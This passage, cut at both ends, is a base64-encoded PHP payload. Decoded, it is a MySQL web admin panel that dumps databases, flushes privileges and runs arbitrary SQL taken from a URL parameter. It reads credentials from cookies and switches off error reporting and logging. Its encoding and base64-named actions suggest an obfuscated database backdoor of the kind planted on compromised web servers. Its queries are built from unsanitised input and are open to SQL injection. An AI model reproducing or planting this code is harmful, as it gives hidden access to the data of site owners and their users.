xbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJFBIUF9TRUxGOw0KCWlmKCAkY21kID09ICJhZGQiICkNCgkJZWNobyAiPGgxPkFkZCBEYXRhPC9oMT5cbiI7DQoJZWxzZSBpZiggJGNtZCA9PSAiZWRpdCIgKSB7DQoJCWVjaG8gIjxoMT5FZGl0IERhdGE8L2gxPlxuIjsNCgkJJHBSZXN1bHQgPSBteXNxbF9saXN0X2ZpZWxkcyggJGRibmFtZSwgJHRhYmxlbmFtZSApOw0KCQkkbnVtID0gbXlzcWxfbnVtX2ZpZWxkcyggJHBSZXN1bHQgKTsNCgkJJGtleSA9ICIiOw0KCQlmb3IoICRpID0gMDsgJGkgPCAkbnVtOyAkaSsrICkgew0KCQkJJGZpZWxkID0gbXlzcWxfZmV0Y2hfZmllbGQoICRwUmVzdWx0LCAkaSApOw0KCQkJaWYoICRmaWVsZC0+cHJpbWFyeV9rZXkgPT0gMSApDQoJCQkJaWYoICRmaWVsZC0+bnVtZXJpYyA9PSAxICkNCgkJCQkJJGtleSAuPSAkZmllbGQtPm5hbWUgLiAiPSIgLiAkR0xPQkFMU1skZmllbGQtPm5hbWVdIC4gIiBBTkQgIjsNCgkJCQllbHNlDQoJCQkJCSRrZXkgLj0gJGZpZWxkLT5uYW1lIC4gIj0nIiAuICRHTE9CQUxTWyRmaWVsZC0+bmFtZV0gLiAiJyBBTkQgIjsNCgkJfQ0KCQkka2V5ID0gc3Vic3RyKCAka2V5LCAwLCBzdHJsZW4oJGtleSktNCApOw0KCQlteXNxbF9zZWxlY3RfZGIoICRkYm5hbWUsICRteXNxbEhhbmRsZSApOw0KCQkkcFJlc3VsdCA9IG15c3FsX3F1ZXJ5KCAkcXVlcnlTdHIgPSAgIlNFTEVDVCAqIEZST00gJHRhYmxlbmFtZSBXSEVSRSAka2V5IiwgJG15c3FsSGFuZGxlICk7DQoJCSRkYXRhID0gbXlzcWxfZmV0Y2hfYXJyYXkoICRwUmVzdWx0ICk7DQoJfQ0KCWVjaG8gIjxwIGNsYXNzPWxvY2F0aW9uPiRkYm5hbWUgJmd0OyAkdGFibGVuYW1lPC9wPlxuIjsNCgllY2hvICI8Zm9ybSBhY3Rpb249JyRQSFBfU0VMRicgbWV0aG9kPXBvc3Q+XG4iOw0KCWlmKCAkY21kID09ICJhZGQiICkNCgkJZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0aW9uIHZhbHVlPWFkZERhdGFfc3VibWl0PlxuIjsNCgllbHNlIGlmKCAkY21kID09ICJlZGl0IiApDQoJCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdGlvbiB2YWx1ZT1lZGl0RGF0YV9zdWJtaXQ+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWRibmFtZSB2YWx1ZT0kZGJuYW1lPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT10YWJsZW5hbWUgdmFsdWU9JHRhYmxlbmFtZT5cbiI7DQoJZWNobyAiPHRhYmxlIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9Mj5cbiI7DQoJZWNobyAiPHRyPlxuIjsNCgllY2hvICI8dGg+TmFtZTwvdGg+XG4iOw0KCWVjaG8gIjx0aD5UeXBlPC90aD5cbiI7DQoJZWNobyAiPHRoPkZ1bmN0aW9uPC90aD5cbiI7DQoJZWNobyAiPHRoPkRhdGE8L3RoPlxuIjsNCgllY2hvICI8L3RyPlxuIjsNCgkkcFJlc3VsdCA9IG15c3FsX2RiX3F1ZXJ5KCAkZGJuYW1lLCAiU0hPVyBmaWVsZHMgRlJPTSAkdGFibGVuYW1lIiApOw0KCSRudW0gPSBteXNxbF9udW1fcm93cyggJHBSZXN1bHQgKTsNCgkkcFJlc3VsdExlbiA9IG15c3FsX2xpc3RfZmllbGRzKCAkZGJuYW1lLCAkdGFibGVuYW1lICk7DQoJZm9yKCAkaSA9IDA7ICRpIDwgJG51bTsgJGkrKyApIHsNCgkJJGZpZWxkID0gbXlzcWxfZmV0Y2hfYXJyYXkoICRwUmVzdWx0ICk7DQoJCSRmaWVsZG5hbWUgPSAkZmllbGRbIkZpZWxkIl07DQoJCSRmaWVsZHR5cGUgPSAkZmllbGRbIlR5cGUiXTsNCgkJJGxlbiA9IG15c3FsX2ZpZWxkX2xlbiggJHBSZXN1bHRMZW4sICRpICk7DQoJCWVjaG8gIjx0cj4iOw0KCQllY2hvICI8dGQ+JGZpZWxkbmFtZTwvdGQ+IjsNCgkJZWNobyAiPHRkPiIuJGZpZWxkWyJUeXBlIl0uIjwvdGQ+IjsNCgkJZWNobyAiPHRkPlxuIjsNCgkJZWNobyAiPHNlbGVjdCBuYW1lPSR7ZmllbGRuYW1lfV9mdW5jdGlvbj5cbiI7DQoJCWVjaG8gIjxvcHRpb24+XG4iOw0KCQllY2hvICI8b3B0aW9uPkFTQ0lJXG4iOw0KCQllY2hvICI8b3B0aW9uPkNIQVJcbiI7DQoJCWVjaG8gIjxvcHRpb24+U09VTkRFWFxuIjsNCgkJZWNobyAiPG9wdGlvbj5DVVJEQVRFXG4iOw0KCQllY2hvICI8b3B0aW9uPkNVUlRJTUVcbiI7DQoJCWVjaG8gIjxvcHRpb24+RlJPTV9EQVlTXG4iOw0KCQllY2hvICI8b3B0aW9uPkZST01fVU5JWFRJTUVcbiI7DQoJCWVjaG8gIjxvcHRpb24+Tk9XXG4iOw0KCQllY2hvICI8b3B0aW9uPlBBU1NXT1JEXG4iOw0KCQllY2hvICI8b3B0aW9uPlBFUklPRF9BRERcbiI7DQoJCWVjaG8gIjxvcHRpb24+UEVSSU9EX0RJRkZcbiI7DQoJCWVjaG8gIjxvcHRpb24+VE9fREFZU1xuIjsNCgkJZWNobyAiPG9wdGlvbj5VU0VSXG4iOw0KCQllY2hvICI8b3B0aW9uPldFRUtEQVlcbiI7DQoJCWVjaG8gIjxvcHRpb24+UkFORFxuIjsNCgkJZWNobyAiPC9zZWxlY3Q+XG4iOw0KCQllY2hvICI8L3RkPlxuIjsNCgkJJHZhbHVlID0gaHRtbHNwZWNpYWxjaGFycygkZGF0YVskaV0pOw0KCQlpZiggJGNtZCA9PSAiYWRkIiApIHsNCgkJCSR0eXBlID0gc3RydG9rKCAkZmllbGR0eXBlLCAiICgsKVxuIiApOw0KCQkJaWYoICR0eXBlID09ICJlbnVtIiB8fCAkdHlwZSA9PSAic2V0IiApIHsNCgkJCQllY2hvICI8dGQ+XG4iOw0KCQkJCWlmKCAkdHlwZSA9PSAiZW51bSIgKQ0KCQkJCQllY2hvICI8c2VsZWN0IG5hbWU9JGZpZWxkbmFtZT5cbiI7DQoJCQkJZWxzZSBpZiggJHR5cGUgPT0gInNldCIgKQ0KCQkJCQllY2hvICI8c2VsZWN0IG5hbWU9JGZpZWxkbmFtZSBzaXplPTQgbXVsdGlwbGU+XG4iOw0KCQkJCXdoaWxlKCAkc3RyID0gc3RydG9rKCAiJyIgKSApIHsNCgkJCQkJZWNobyAiPG9wdGlvbj4kc3RyXG4iOw0KCQkJCQlzdHJ0b2soICInIiApOw0KCQkJCX0NCgkJCQllY2hvICI8L3NlbGVjdD5cbiI7DQoJCQkJZWNobyAiPC90ZD5cbiI7DQoJCQl9IGVsc2Ugew0KCQkJCWlmKCAkbGVuIDwgNDAgKQ0KCQkJCQllY2hvICI8dGQ+PGlucHV0IHR5cGU9dGV4dCBzaXplPTQwIG1heGxlbmd0aD0kbGVuIG5hbWU9JGZpZWxkbmFtZT48L3RkPlxuIjsNCgkJCQllbHNlDQoJCQkJCWVjaG8gIjx0ZD48dGV4dGFyZWEgY29scz00MCByb3dzPTMgbWF4bGVuZ3RoPSRsZW4gbmFtZT0kZmllbGRuYW1lPjwvdGV4dGFyZWE+XG4iOw0KCQkJfQ0KCQl9IGVsc2UgaWYoICRjbWQgPT0gImVkaXQiICkgew0KCQkJJHR5cGUgPSBzdHJ0b2soICRmaWVsZHR5cGUsICIgKCwpXG4iICk7DQoJCQlpZiggJHR5cGUgPT0gImVudW0iIHx8ICR0eXBlID09ICJzZXQiICkgew0KCQkJCWVjaG8gIjx0ZD5cbiI7DQoJCQkJaWYoICR0eXBlID09ICJlbnVtIiApDQoJCQkJCWVjaG8gIjxzZWxlY3QgbmFtZT0kZmllbGRuYW1lPlxuIjsNCgkJCQllbHNlIGlmKCAkdHlwZSA9PSAic2V0IiApDQoJCQkJCWVjaG8gIjxzZWxlY3QgbmFtZT0kZmllbGRuYW1lIHNpemU9NCBtdWx0aXBsZT5cbiI7DQoJCQkJd2hpbGUoICRzdHIgPSBzdHJ0b2soICInIiApICkgew0KCQkJCQlpZiggJHZhbHVlID09ICRzdHIgKQ0KCQkJCQkJZWNobyAiPG9wdGlvbiBzZWxlY3RlZD4kc3RyXG4iOw0KCQkJCQllbHNlDQoJCQkJCQllY2hvICI8b3B0aW9uPiRzdHJcbiI7DQoJCQkJCXN0cnRvayggIiciICk7DQoJCQkJfQ0KCQkJCWVjaG8gIjwvc2VsZWN0PlxuIjsNCgkJCQllY2hvICI8L3RkPlxuIjsNCgkJCX0gZWxzZSB7DQoJCQkJaWYoICRsZW4gPCA0MCApDQoJCQkJCWVjaG8gIjx0ZD48aW5wdXQgdHlwZT10ZXh0IHNpemU9NDAgbWF4bGVuZ3RoPSRsZW4gbmFtZT0kZmllbGRuYW1lIHZhbHVlPVwiJHZhbHVlXCI+PC90ZD5cbiI7DQoJCQkJZWxzZQ0KCQkJCQllY2hvICI8dGQ+PHRleHRhcmVhIGNvbHM9NDAgcm93cz0zIG1heGxlbmd0aD0kbGVuIG5hbWU9JGZpZWxkbmFtZT4kdmFsdWU8L3RleHRhcmVhPlxuIjsNCgkJCX0NCgkJfQ0KCQllY2hvICI8L3RyPiI7DQoJfQ0KCWVjaG8gIjwvdGFibGU+PHA+XG4iOw0KCWlmKCAkY21kID09ICJhZGQiICkNCgkJZWNobyAiPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdBZGQgRGF0YSc+XG4iOw0KCWVsc2UgaWYoICRjbWQgPT0gImVkaXQiICkNCgkJZWNobyAiPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdFZGl0IERhdGEnPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1idXR0b24gdmFsdWU9J0NhbmNlbCcgb25DbGljaz0naGlzdG9yeS5iYWNrKCknPlxuIjsNCgllY2hvICI8L2Zvcm0+XG4iOw0KfQ0KDQpmdW5jdGlvbiBtYW5hZ2VEYXRhX3N1Ym1pdCggJGNtZCApIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkdGFibGVuYW1lLCAkZmllbGRuYW1lLCAkUEhQX1NFTEYsICRxdWVyeVN0ciwgJGVyck1zZzsNCgkkcFJlc3VsdCA9IG15c3FsX2xpc3RfZmllbGRzKCAkZGJuYW1lLCAkdGFibGVuYW1lICk7DQoJJG51bSA9IG15c3FsX251bV9maWVsZHMoICRwUmVzdWx0ICk7DQoJbXlzcWxfc2VsZWN0X2RiKCAkZGJuYW1lLCAkbXlzcWxIYW5kbGUgKTsNCglpZiggJGNtZCA9PSAiYWRkIiApDQoJCSRxdWVyeVN0ciA9ICJJTlNFUlQgSU5UTyAkdGFibGVuYW1lIFZBTFVFUyAoIjsNCgllbHNlIGlmKCAkY21kID09ICJlZGl0IiApDQoJCSRxdWVyeVN0ciA9ICJSRVBMQUNFIElOVE8gJHRhYmxlbmFtZSBWQUxVRVMgKCI7DQoJZm9yKCAkaSA9IDA7ICRpIDwgJG51bS0xOyAkaSsrICkgew0KCQkkZmllbGQgPSBteXNxbF9mZXRjaF9maWVsZCggJHBSZXN1bHQgKTsNCgkJJGZ1bmMgPSAkR0xPQkFMU1skZmllbGQtPm5hbWUuIl9mdW5jdGlvbiJdOw0KCQlpZiggJGZ1bmMgIT0gIiIgKQ0KCQkJJHF1ZXJ5U3RyIC49ICIgJGZ1bmMoIjsNCgkJaWYoICRmaWVsZC0+bnVtZXJpYyA9PSAxICkgew0KCQkJJHF1ZXJ5U3RyIC49ICRHTE9CQUxTWyRmaWVsZC0+bmFtZV07DQoJCQlpZiggJGZ1bmMgIT0gIiIgKQ0KCQkJCSRxdWVyeVN0ciAuPSAiKSwiOw0KCQkJZWxzZQ0KCQkJCSRxdWVyeVN0ciAuPSAiLCI7DQoJCX0gZWxzZSB7DQoJCQkkcXVlcnlTdHIgLj0gIiciIC4gJEdMT0JBTFNbJGZpZWxkLT5uYW1lXTsNCgkJCWlmKCAkZnVuYyAhPSAiIiApDQoJCQkJJHF1ZXJ5U3RyIC49ICInKSwiOw0KCQkJZWxzZQ0KCQkJCSRxdWVyeVN0ciAuPSAiJywiOw0KCQl9DQoJfQ0KCSRmaWVsZCA9IG15c3FsX2ZldGNoX2ZpZWxkKCAkcFJlc3VsdCApOw0KCWlmKCAkZmllbGQtPm51bWVyaWMgPT0gMSApDQoJCSRxdWVyeVN0ciAuPSAkR0xPQkFMU1skZmllbGQtPm5hbWVdIC4gIikiOw0KCWVsc2UNCgkJJHF1ZXJ5U3RyIC49ICInIiAuICRHTE9CQUxTWyRmaWVsZC0+bmFtZV0gLiAiJykiOw0KCW15c3FsX3F1ZXJ5KCAkcXVlcnlTdHIgLCAkbXlzcWxIYW5kbGUgKTsNCgkkZXJyTXNnID0gbXlzcWxfZXJyb3IoKTsNCgl2aWV3RGF0YSggIiIgKTsNCn0NCg0KZnVuY3Rpb24gZGVsZXRlRGF0YSgpIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkdGFibGVuYW1lLCAkZmllbGRuYW1lLCAkUEhQX1NFTEYsICRxdWVyeVN0ciwgJGVyck1zZzsNCgkkcFJlc3VsdCA9IG15c3FsX2xpc3RfZmllbGRzKCAkZGJuYW1lLCAkdGFibGVuYW1lICk7DQoJJG51bSA9IG15c3FsX251bV9maWVsZHMoICRwUmVzdWx0ICk7DQoJJGtleSA9ICIiOw0KCWZvciggJGkgPSAwOyAkaSA8ICRudW07ICRpKysgKSB7DQoJCSRmaWVsZCA9IG15c3FsX2ZldGNoX2ZpZWxkKCAkcFJlc3VsdCwgJGkgKTsNCgkJaWYoICRmaWVsZC0+cHJpbWFyeV9rZXkgPT0gMSApDQoJCQlpZiggJGZpZWxkLT5udW1lcmljID09IDEgKQ0KCQkJCSRrZXkgLj0gJGZpZWxkLT5uYW1lIC4gIj0iIC4gJEdMT0JBTFNbJGZpZWxkLT5uYW1lXSAuICIgQU5EICI7DQoJCQllbHNlDQoJCQkJJGtleSAuPSAkZmllbGQtPm5hbWUgLiAiPSciIC4gJEdMT0JBTFNbJGZpZWxkLT5uYW1lXSAuICInIEFORCAiOw0KCX0NCgkka2V5ID0gc3Vic3RyKCAka2V5LCAwLCBzdHJsZW4oJGtleSktNCApOw0KCW15c3FsX3NlbGVjdF9kYiggJGRibmFtZSwgJG15c3FsSGFuZGxlICk7DQoJJHF1ZXJ5U3RyID0gICJERUxFVEUgRlJPTSAkdGFibGVuYW1lIFdIRVJFICRrZXkiOw0KCW15c3FsX3F1ZXJ5KCAkcXVlcnlTdHIsICRteXNxbEhhbmRsZSApOw0KCSRlcnJNc2cgPSBteXNxbF9lcnJvcigpOw0KCXZpZXdEYXRhKCAiIiApOw0KfQ0KDQpmdW5jdGlvbiBmZXRjaF90YWJsZV9kdW1wX3NxbCgkdGFibGUpDQp7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwkZGJuYW1lOw0KCW15c3FsX3NlbGVjdF9kYiggJGRibmFtZSwgJG15c3FsSGFuZGxlICk7DQoJJHF1ZXJ5X2lkID0gbXlzcWxfcXVlcnkoIlNIT1cgQ1JFQVRFIFRBQkxFICR0YWJsZSIsJG15c3FsSGFuZGxlKTsNCgkkdGFibGVkdW1wID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHF1ZXJ5X2lkLCBNWVNRTF9BU1NPQyk7DQoJJHRhYmxlZHVtcCA9ICJEUk9QIFRBQkxFIElGIEVYSVNUUyAkdGFibGU7XG4iIC4gJHRhYmxlZHVtcFsnQ3JlYXRlIFRhYmxlJ10gLiAiO1xuXG4iOw0KCWVjaG8gJHRhYmxlZHVtcDsNCgkvLyBnZXQgZGF0YQ0KCSRyb3dzID0gbXlzcWxfcXVlcnkoIlNFTEVDVCAqIEZST00gJHRhYmxlIiwkbXlzcWxIYW5kbGUpOw0KCSRudW1maWVsZHM9bXlzcWxfbnVtX2ZpZWxkcygkcm93cyk7DQoJd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcm93cywgTVlTUUxfTlVNKSkNCgl7DQoJCSR0YWJsZWR1bXAgPSAiSU5TRVJUIElOVE8gJHRhYmxlIFZBTFVFUygiOw0KCQkkZmllbGRjb3VudGVyID0gLTE7DQoJCSRmaXJzdGZpZWxkID0gMTsNCgkJLy8gZ2V0IGVhY2ggZmllbGQncyBkYXRhDQoJCXdoaWxlICgrKyRmaWVsZGNvdW50ZXIgPCAkbnVtZmllbGRzKQ0KCQl7DQoJCQlpZiAoISRmaXJzdGZpZWxkKQ0KCQkJew0KCQkJCSR0YWJsZWR1bXAgLj0gJywgJzsNCgkJCX0NCgkJCWVsc2UNCgkJCXsNCgkJCQkkZmlyc3RmaWVsZCA9IDA7DQoJCQl9DQoJCQlpZiAoIWlzc2V0KCRyb3dbIiRmaWVsZGNvdW50ZXIiXSkpDQoJCQl7DQoJCQkJJHRhYmxlZHVtcCAuPSAnTlVMTCc7DQoJCQl9DQoJCQllbHNlDQoJCQl7DQoJCQkJJHRhYmxlZHVtcCAuPSAiJyIgLiBteXNxbF9lc2NhcGVfc3RyaW5nKCRyb3dbIiRmaWVsZGNvdW50ZXIiXSkgLiAiJyI7DQoJCQl9DQoJCX0NCgkJJHRhYmxlZHVtcCAuPSAiKTtcbiI7DQoJCWVjaG8gJHRhYmxlZHVtcDsNCgl9DQoJQG15c3FsX2ZyZWVfcmVzdWx0KCRyb3dzKTsNCn0NCg0KZnVuY3Rpb24gZHVtcCgpIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkYWN0aW9uLCAkZGJuYW1lLCAkdGFibGVuYW1lOw0KCWlmKCAkYWN0aW9uID09ICJkdW1wVGFibGUiICl7DQoJCWhlYWRlcigiQ29udGVudC1kaXNwb3NpdGlvbjogZmlsZW5hbWU9JHRhYmxlbmFtZS5zcWwiKTsNCgkJaGVhZGVyKCdDb250ZW50LXR5cGU6IHVua25vd24vdW5rbm93bicpOw0KCQlmZXRjaF90YWJsZV9kdW1wX3NxbCgkdGFibGVuYW1lKTsNCgkJZWNobyAiXG5cblxuIjsNCgkJZWNobyAiXHJcblxyXG5cclxuIyMjICR0YWJsZW5hbWUgVEFCTEUgRFVNUCBDT01QTEVURUQgIyMjIjsNCgkJZXhpdDsNCgl9ZWxzZXsNCgkJaGVhZGVyKCJDb250ZW50LWRpc3Bvc2l0aW9uOiBmaWxlbmFtZT0kZGJuYW1lLnNxbCIpOw0KCQloZWFkZXIoJ0NvbnRlbnQtdHlwZTogdW5rbm93bi91bmtub3duJyk7DQoJCW15c3FsX3NlbGVjdF9kYiggJGRibmFtZSwgJG15c3FsSGFuZGxlICk7DQoJCSRxdWVyeV9pZCA9IG15c3FsX3F1ZXJ5KCJTSE9XIHRhYmxlcyIsJG15c3FsSGFuZGxlKTsNCgkJd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcXVlcnlfaWQsIE1ZU1FMX05VTSkpDQoJCXsNCgkJCQlmZXRjaF90YWJsZV9kdW1wX3NxbCgkcm93WzBdKTsNCgkJCQllY2hvICJcblxuXG4iOw0KCQkJCWVjaG8gIlxyXG5cclxuXHJcbiMjIyAkcm93WzBdIFRBQkxFIERVTVAgQ09NUExFVEVEICMjIyI7DQoJCQkJZWNobyAiXG5cblxuIjsNCgkJfQ0KCQllY2hvICJcclxuXHJcblxyXG4jIyMgJGRibmFtZSBEQVRBQkFTRSBEVU1QIENPTVBMRVRFRCAjIyMiOw0KCQlleGl0Ow0KCX0NCn0NCg0KZnVuY3Rpb24gdXRpbHMoKSB7DQoJZ2xvYmFsICRQSFBfU0VMRiwgJGNvbW1hbmQ7DQoJZWNobyAiPGgxPlV0aWxpdGllczwvaDE+XG4iOw0KCWlmKCAkY29tbWFuZCA9PSAiIiB8fCBzdWJzdHIoICRjb21tYW5kLCAwLCA1ICkgPT0gImZsdXNoIiApIHsNCgkJZWNobyAiPGhyPlxuIjsNCgkJZWNobyAiU2hvd1xuIjsNCgkJZWNobyAiPHVsPlxuIjsNCgkJZWNobyAiPGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1zaG93X3N0YXR1cyc+U3RhdHVzPC9hPlxuIjsNCgkJZWNobyAiPGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1zaG93X3ZhcmlhYmxlcyc+VmFyaWFibGVzPC9hPlxuIjsNCgkJZWNobyAiPGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1zaG93X3Byb2Nlc3NsaXN0Jz5Qcm9jZXNzbGlzdDwvYT5cbiI7DQoJCWVjaG8gIjwvdWw+XG4iOw0KCQllY2hvICJGbHVzaFxuIjsNCgkJZWNobyAiPHVsPlxuIjsNCgkJZWNobyAiPGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1mbHVzaF9ob3N0cyc+SG9zdHM8L2E+XG4iOw0KCQlpZiggJGNvbW1hbmQgPT0gImZsdXNoX2hvc3RzIiApIHsNCgkJCWlmKCBteXNxbF9xdWVyeSggIkZsdXNoIGhvc3RzIiApICE9IGZhbHNlICkNCgkJCQllY2hvICItIFN1Y2Nlc3MiOw0KCQkJZWxzZQ0KCQkJCWVjaG8gIi0gRmFpbCI7DQoJCX0NCgkJZWNobyAiPGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1mbHVzaF9sb2dzJz5Mb2dzPC9hPlxuIjsNCgkJaWYoICRjb21tYW5kID09ICJmbHVzaF9sb2dzIiApIHsNCgkJCWlmKCBteXNxbF9xdWVyeSggIkZsdXNoIGxvZ3MiICkgIT0gZmFsc2UgKQ0KCQkJCWVjaG8gIi0gU3VjY2VzcyI7DQoJCQllbHNlDQoJCQkJZWNobyAiLSBGYWlsIjsNCgkJfQ0KCQllY2hvICI8bGk+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj11dGlscyZjb21tYW5kPWZsdXNoX3ByaXZpbGVnZXMnPlByaXZpbGVnZXM8L2E+XG4iOw0KCQlpZiggJGNvbW1hbmQgPT0gImZsdXNoX3ByaXZpbGVnZXMiICkgew0KCQkJaWYoIG15c3FsX3F1ZXJ5KCAiRmx1c2ggcHJpdmlsZWdlcyIgKSAhPSBmYWxzZSApDQoJCQkJZWNobyAiLSBTdWNjZXNzIjsNCgkJCWVsc2UNCgkJCQllY2hvICItIEZhaWwiOw0KCQl9DQoJCWVjaG8gIjxsaT48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPXV0aWxzJmNvbW1hbmQ9Zmx1c2hfdGFibGVzJz5UYWJsZXM8L2E+XG4iOw0KCQlpZiggJGNvbW1hbmQgPT0gImZsdXNoX3RhYmxlcyIgKSB7DQoJCQlpZiggbXlzcWxfcXVlcnkoICJGbHVzaCB0YWJsZXMiICkgIT0gZmFsc2UgKQ0KCQkJCWVjaG8gIi0gU3VjY2VzcyI7DQoJCQllbHNlDQoJCQkJZWNobyAiLSBGYWlsIjsNCgkJfQ0KCQllY2hvICI8bGk+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj11dGlscyZjb21tYW5kPWZsdXNoX3N0YXR1cyc+U3RhdHVzPC9hPlxuIjsNCgkJaWYoICRjb21tYW5kID09ICJmbHVzaF9zdGF0dXMiICkgew0KCQkJaWYoIG15c3FsX3F1ZXJ5KCAiRmx1c2ggc3RhdHVzIiApICE9IGZhbHNlICkNCgkJCQllY2hvICItIFN1Y2Nlc3MiOw0KCQkJZWxzZQ0KCQkJCWVjaG8gIi0gRmFpbCI7DQoJCX0NCgkJZWNobyAiPC91bD5cbiI7DQoJfSBlbHNlIHsNCgkJJHF1ZXJ5U3RyID0gZXJlZ19yZXBsYWNlKCAiXyIsICIgIiwgJGNvbW1hbmQgKTsNCgkJJHBSZXN1bHQgPSBteXNxbF9xdWVyeSggJHF1ZXJ5U3RyICk7DQoJCWlmKCAkcFJlc3VsdCA9PSBmYWxzZSApIHsNCgkJCWVjaG8gIkZhaWwiOw0KCQkJcmV0dXJuOw0KCQl9DQoJCSRjb2wgPSBteXNxbF9udW1fZmllbGRzKCAkcFJlc3VsdCApOw0KCQllY2hvICI8cCBjbGFzcz1sb2NhdGlvbj4kcXVlcnlTdHI8L3A+XG4iOw0KCQllY2hvICI8aHI+XG4iOw0KCQllY2hvICI8dGFibGUgY2VsbHNwYWNpbmc9MSBjZWxscGFkZGluZz0yIGJvcmRlcj0wPlxuIjsNCgkJZWNobyAiPHRyPlxuIjsNCgkJZm9yKCAkaSA9IDA7ICRpIDwgJGNvbDsgJGkrKyApIHsNCgkJCSRmaWVsZCA9IG15c3FsX2ZldGNoX2ZpZWxkKCAkcFJlc3VsdCwgJGkgKTsNCgkJCWVjaG8gIjx0aD4iLiRmaWVsZC0+bmFtZS4iPC90aD5cbiI7DQoJCX0NCgkJZWNobyAiPC90cj5cbiI7DQoJCXdoaWxlKCAxICkgew0KCQkJJHJvd0FycmF5ID0gbXlzcWxfZmV0Y2hfcm93KCAkcFJlc3VsdCApOw0KCQkJaWYoICRyb3dBcnJheSA9PSBmYWxzZSApIGJyZWFrOw0KCQkJZWNobyAiPHRyPlxuIjsNCgkJCWZvciggJGogPSAwOyAkaiA8ICRjb2w7ICRqKysgKQ0KCQkJCWVjaG8gIjx0ZD4iLmh0bWxzcGVjaWFsY2hhcnMoICRyb3dBcnJheVskal0gKS4iPC90ZD5cbiI7DQoJCQllY2hvICI8L3RyPlxuIjsNCgkJfQ0KCQllY2hvICI8L3RhYmxlPlxuIjsNCgl9DQp9DQpmdW5jdGlvbiBmb290ZXJfaHRtbCgpIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkdGFibGVuYW1lLCAkUEhQX1NFTEYsICRVU0VSTkFNRTsNCgllY2hvICI8aHI+XG4iOw0KCWVjaG8gIjxzcGFuIGNsYXNzPVwibmV3XCI+WyRVU0VSTkFNRV08L3NwYW4+IC0gXG4iOw0KCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249YkdsemRFUkNjdz09Jz5EYXRhYmFzZSBMaXN0PC9hPiB8IFxuIjsNCglpZiggJHRhYmxlbmFtZSAhPSAiIiApDQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249bGlzdFRhYmxlcyZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSc+VGFibGUgTGlzdDwvYT4gfCAiOw0KCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMnPlV0aWxzPC9hPiB8XG4iOw0KCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249bG9nb3V0Jz5Mb2dvdXQ8L2E+XG4iOw0KfQ0KLy8tLS0tLS0tLS0tLS0tIE1BSU4gLS0tLS0tLS0tLS0tLSAvLw0KZXJyb3JfcmVwb3J0aW5nKDApOw0KaW5pX3NldCAoJ2Rpc3BsYXlfZXJyb3JzJywgMCk7DQppbmlfc2V0ICgnbG9nX2Vycm9ycycsIDApOw0KaWYoICRhY3Rpb24gPT0gImxvZ29uIiB8fCAkYWN0aW9uID09ICIiIHx8ICRhY3Rpb24gPT0gImxvZ291dCIgKQ0KCWxvZ29uKCk7DQplbHNlIGlmKCAkYWN0aW9uID09ICJiRzluYjI1ZmMzVmliV2wwIiApDQoJbG9nb25fc3VibWl0KCk7DQplbHNlIGlmKCAkYWN0aW9uID09ICJkdW1wVGFibGUiIHx8ICRhY3Rpb24gPT0gImR1bXBEQiIgKSB7DQoJd2hpbGUoIGxpc3QoJHZhciwgJHZhbHVlKSA9IGVhY2goJEhUVFBfQ09PS0lFX1ZBUlMpICkgew0KCQlpZiggJHZhciA9PSAibXlzcWxfd2ViX2FkbWluX3VzZXJuYW1lIiApICRVU0VSTkFNRSA9ICR2YWx1ZTsNCgkJaWYoICR2YXIgPT0gIm15c3FsX3dlYl9hZG1pbl9wYXNzd29yZCIgKSAkUEFTU1dPUkQgPSAkdmFsdWU7DQoJCWlmKCAkdmFyID09ICJteXNxbF93ZWJfYWRtaW5faG9zdG5hbWUiICkgJEhPU1ROQU1FID0gJHZhbHVlOw0KCX0NCgkkbXlzcWxIYW5kbGUgPSBAbXlzcWxfY29ubmVjdCggJEhPU1ROQU1FLiI6MzMwNiIsICRVU0VSTkFNRSwgJFBBU1NXT1JEICk7DQoJZHVtcCgpOw0KfSBlbHNlIHsNCgl3aGlsZSggbGlzdCgkdmFyLCAkdmFsdWUpID0gZWFjaCgkSFRUUF9DT09LSUVfVkFSUykgKSB7DQoJCWlmKCAkdmFyID09ICJteXNxbF93ZWJfYWRtaW5fdXNlcm5hbWUiICkgJFVTRVJOQU1FID0gJHZhbHVlOw0KCQlpZiggJHZhciA9PSAibXlzcWxfd2ViX2FkbWluX3Bhc3N3b3JkIiApICRQQVNTV09SRCA9IC